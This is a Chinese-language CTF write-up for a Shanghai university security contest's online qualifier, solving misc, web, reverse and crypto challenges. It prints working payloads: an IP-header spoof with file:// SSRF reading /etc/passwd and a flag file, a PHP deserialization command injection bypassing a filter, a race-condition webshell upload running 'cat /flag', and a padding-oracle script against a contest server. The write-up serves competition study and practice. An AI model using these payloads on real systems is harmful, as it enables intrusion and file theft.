CTF 安全

第四届上海市大学生网络安全大赛线上初赛 WriteUp

比赛入口地址:https://race.ichunqiu.com/dhb

随便玩玩。总共 15 道,解出 8 道,排名第 15。

Misc - 签到

MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q

Base32 解码

Flag:flag{35222d30-439e-4afb-91f4-abebc73fe05c}

Web - web 1

打开题目提示访问 robots.txt

<!-- you need to visit to robots.txt -->

两个文件,一个 source.php ,一个 flag.php

打开 source.php,提示 POST admin

<!-- post param 'admin' -->

POST admin=1

only 127.0.0.1 can get the flag!

没有找到 SSRF 的地方,应该就是改 Headers 头了

X-Forwarded-For / X-Client-IP / X-Real-IP 三个都试了一下,发现认的是 X-Client-IP

带 Header X-Client-IP=127.0.0.1,提示

you need post url: http://www.ichunqiu.com"

POST url=http://www.ichunqiu.com/robots.txt,得到一个地址

<img src="download/26052982;img1.jpg"/>

POST url=file://www.ichunqiu.com/../etc/passwd

成功读到了用户表,并且得到

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

估计 flag.php 就放在默认的位置

POST url=file://www.ichunqiu.com/../var/www/html/flag.php,得到 flag

Payload:

POST /source.php HTTP/1.1
X-Client-IP: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

admin=1&url=file://www.ichunqiu.com/../var/www/html/flag.php

Flag:flag{c0aea182-82bd-4b1d-ac52-164793598ec9}

Web - web 2

有一个 vim 的备份文件,可以拿到题目的源代码

<?php
error_reporting(0);
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

看到 come 类的 system 命令基本的推测就是做反序列化了。

主程序先检查四个变量是否为特定的变量。

$first 可以直接从 $_GET 中定义为 doller 通过第一个检查

然后可以看到 parse_str 函数,没有传第二个参数,因此会污染变量域,所以我们剩下的三个变量都可以通过他来写入

/?first=doller&a=var=give%26bbb=me%26ccc=flag

接下来是反序列化,在 __wakeup 的时候会将参数过一遍 waf,然后 flag 可以通过双写来绕过字符串替换,空格用 ${IPS} 然过

生成代码如下:

$foo = new come("echo", array("`cat\${IFS}/flaflagg`"));
var_dump(serialize($foo));
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}

然后通过 POST 的参数 come 代入即可执行得到 flag

Web - web 3

<?php
    $dir=md5("icq"); // 2765d621af8a58b78b4d528bd5ef7f6b
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

$filename 可以取 POST 中的参数也可以取文件名,我们当然要用 POST 中的参数,毕竟可利用性比较好,而且还可以传入数组。

然后可以看到他通过 explode 函数以 .$filename 拆成一个数组。

然后要求 end($filename) 不等于 $filename[count($filename) - 1]

我们可以构造这样一个数组

array(2) {
  [1]=>
  string(1) "1"
  [0]=>
  string(3) "php"
}

这样的话

end($filename) = php

$filename[count($filename) - 1] = 1

这也是我上面用 POST 传 filename 的原因

------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[1]"

1
------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[0]"

php

然后就是重点了

$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
    include($_);
}
unlink($new_name);

首先将我们上传的文件重命名为 [100-999].php 并存放在目录 /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/

然后接受我们通过 POST 传入的 hehe 参数,并且通过 file 函数读取这个文件

经过测试,目标开启了 allow_url_fopen 但没有开启 allow_url_include,因此我们不能直接 include 远程的文件,入手点还是在我们上传的那个文件里

由于他开启了 allow_url_fopen,因此如果传入 hehe 的地址返回需要很久的话,那样我们就有机会在 unlink 之前读取到我们的文件

因此我新建了个文件放在服务器上

<?php
sleep(9999);

然后通过 Burpsuite 的 Repeater ,上传这个文件

@<?php
system("cat /flag");

同时将 hehe 指向那个需要很久的地址

然后通过 Burpsuite 的 Intruder ,

遍历 include /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/§§.php

一切顺利的话就可以成功的读到 flag 了

Reverse - cpp

拖进 IDA 看,重点是两个函数,逆向第一个函数,可以得到 fake flag 2333

所以,关键是逆向第二个函数,算法都很简单

POC:

t2=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8, 0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A, 0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61, 0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5, 0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15, 0xED, 0xD5]

t3='\x99'

for j in range(1,32):
    match=0
    for i in range(256):
        tmp2=t3+chr(i)+'\x00'*(32-j-1)
        tmp2=list(tmp2)
        for a in range(4):
            for b in range(1,32):
                tmp1=ord(tmp2[b-1])|ord(tmp2[b])
                tmp=tmp1&(~(ord(tmp2[b-1])&ord(tmp2[b]))&0xff)
                tmp2[b]=chr(tmp)
        if ord(tmp2[j])==t2[j]:
            t3+=chr(i)
            match=1
            break
    if match==0:
        print 'something wrong'
        print j
        exit()

t4=[]
t5=[]
for i in t3:
    t5.append(ord(i))

for j in range(len(t5)):
    match=0
    for i in range(0x20,0x7f):
        tmp=(((i>>6)|(4*i))^j)&0xff
        if tmp==t5[j]:
            print hex(((0x20>>6)|(4*0x20))^0), hex(((i>>6)|(4*i))^j),
            print ''
            t4.append(i)
            match=1
            break
    if match==0:
        print 'something wrong'
        print j
        exit()

print t4

flag=''
for i in t4:
    flag+=chr(i)
print flag

Flag:flag{W0w_y0u_m4st3r_C_p1us_p1us}

Misc - easy_py

直接 uncompyle2 反编译 easy_py.pyc 会报错 tuple index out of range

应该是 const 元组越界了,将 easy_py.pyc 文件里的16进制 2333 改为 0000

然后用下面的脚本反编译

import dis, marshal, struct, sys, time, types

def show_file(fname):
    f = open(fname, "rb")
    magic = f.read(4)
    moddate = f.read(4)
    modtime = time.asctime(time.localtime(struct.unpack('L', moddate)[0]))
    print "magic %s" % (magic.encode('hex'))
    print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
    code = marshal.load(f)
    show_code(code)

def show_code(code, indent=''):
    print "%scode" % indent
    indent += '   '
    print "%sargcount %d" % (indent, code.co_argcount)
    print "%snlocals %d" % (indent, code.co_nlocals)
    print "%sstacksize %d" % (indent, code.co_stacksize)
    print "%sflags %04x" % (indent, code.co_flags)
    show_hex("code", code.co_code, indent=indent)
    dis.disassemble(code)
    print "%sconsts" % indent
    for const in code.co_consts:
        if type(const) == types.CodeType:
            show_code(const, indent+'   ')
        else:
            print "   %s%r" % (indent, const)
    print "%snames %r" % (indent, code.co_names)
    print "%svarnames %r" % (indent, code.co_varnames)
    print "%sfreevars %r" % (indent, code.co_freevars)
    print "%scellvars %r" % (indent, code.co_cellvars)
    print "%sfilename %r" % (indent, code.co_filename)
    print "%sname %r" % (indent, code.co_name)
    print "%sfirstlineno %d" % (indent, code.co_firstlineno)
    show_hex("lnotab", code.co_lnotab, indent=indent)

def show_hex(label, h, indent):
    h = h.encode('hex')
    if len(h) < 60:
        print "%s%s %s" % (indent, label, h)
    else:
        print "%s%s" % (indent, label)
        for i in range(0, len(h), 60):
            print "%s   %s" % (indent, h[i:i+60])

show_file('easy_py.pyc')

根据反编译结果,对照 Python opcode 文档 ,可以写出解密脚本:

flag=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
rflag=''

for j in flag:
    for i in range(0x20,0x7f):
        tmp=((~i)&(102))|((i)&(-103))
        if tmp==j:
            rflag+=chr(i)
            print chr(i),
print rflag

Flag:flag{happy_xoR}

Reverse - What's_it

照样拖进 IDA,这题也很简单

小写英文字母进行组合,长度为 6,计算 md5,满足条件,进行动态解密 check 函数

写个脚本把所有可能跑出来,最后只得到一个结果

import string
from itertools import permutations
from hashlib import md5

table=string.ascii_lowercase

match=''

j=0
for res in permutations(table,6):
    j+=1
    if j % 100000==0: print float(j)*100/308915776
    proof=''.join(res)
    tmp=md5(proof).hexdigest()
    a1=0
    a2=0
    for i in range(len(tmp)):
        if tmp[i]=='0':
            a1+=1
            a2+=i
    if 10*a1+a2==403:
        match+=proof+'\n'
        print proof
print match

运行得到结果:ozulmt

ozulmt 的 md5 值有两个用途,一是上面提到的动态解密,二是作为 check 函数的参数。

动态调试,看一下那个 check 函数的代码,然后上 F5 插件方便看

传入参数给了 srand 置随机数种子

然后32次 rand%160-f 构成 flag

写个脚本计算 srand 的参数:

tmp=md5('ozulmt').hexdigest()
print 'v5: %s' % tmp[:4]
print 'v4: %s' % tmp[28:32]
srand=0
for i in tmp[:4]:
    srand+=ord(i)
print srand

运行得到结果:300

在 windows 下编译下面的程序:

int main(){
    srand(300);
    int i;
    for (i=0;i<32;i++){
        int tmp=rand()%16;
        if (tmp<=9)
            printf("%c",0x30+tmp);
        else
            printf("%c",0x61+(tmp-10));
    }
}

运行得到结果:a197b847709253a47c41bc7d6d52e69d

补全格式,验证一下

Flag:flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}

Crypto - aessss

好像是 2018 红帽杯 rsa system 原题(也可能稍微改了一下)

上次没做出来,这次自己做出来了

漏洞点在 unpad 的时候,选择最后一字节作为截取长度

直接贴POC:

from pwn import *
from hashlib import sha256
from itertools import permutations
import string

io=''

def new():
    global io
    io=remote('106.75.13.64', 54321)

    table=string.ascii_letters+string.digits

    tmp=io.recvline()

    known=tmp.split('XXXX+')[1].split(')')[0]
    target=tmp.split(' == ')[1].split('\n')[0]

    match=''
    for res in permutations(table,4):
        proof=''.join(res)
        proof+=known
        if sha256(proof).hexdigest()==target:
            match=''.join(res)
            break
    if match:
        io.sendline(match)
        return True
    else:
        io.close()
        return False

right_flag='0x3478e3196c4a6a29b244380ef7cabe1030d103f3c3df019fb4ed207b849d0b6d5da5d3bf89f7ca65707c19591413de7dccddd498b8a8ab5fbae70e9ec17fdfc132a2fb63e0968d737b9839c0f7686de07251a1de0264d0ecad05749ad0d13a2c094da4a09837207c284e3ddfce2323c01ea0304e3362e06d191413fd3576657f072f823e07cf1c77ce453c4823c9d827545247254c8fedbe3c400567ca40eb047e1a7dba3962230b4cd0acc58d4b112690549f40c3553e34c38a1c2898a5eb5b33049d0032de35654639eb953b03464209809abecc70f0142f81fcf06298546ee58387795e9d59aa86a60e3a43a8d8f326f8a1e6ae9920291de72c638a9203fa'
flag=''

new()
for i in range(33):
    match_flag=0
    for j in string.digits+string.ascii_letters+'{}-_/+=,.':
        print hex(ord(j)),
        run=1
        while run:
            try:
                io.sendlineafter('choice:','2')
                payload='a'*(256-33-1)+chr(256-33+i+1)
                io.sendlineafter('something:',payload)
                io.sendlineafter('choice:','2')
                payload=j+flag+chr(256-33)*(256-33)
                io.sendlineafter('something:',payload)
                io.sendlineafter('choice:','1')
                if right_flag in io.recvline():
                    flag=j+flag
                    match_flag=1
                run=0
            except:
                print 'except, do poc'
                io.close()
                new()
        if match_flag: break
    if match_flag==0:
        print 'something wrong'
        exit()
    else:
        print flag

Flag:flag{H4ve_fun_w1th_p4d_and_unp4d}


标签: CTF 安全

Comments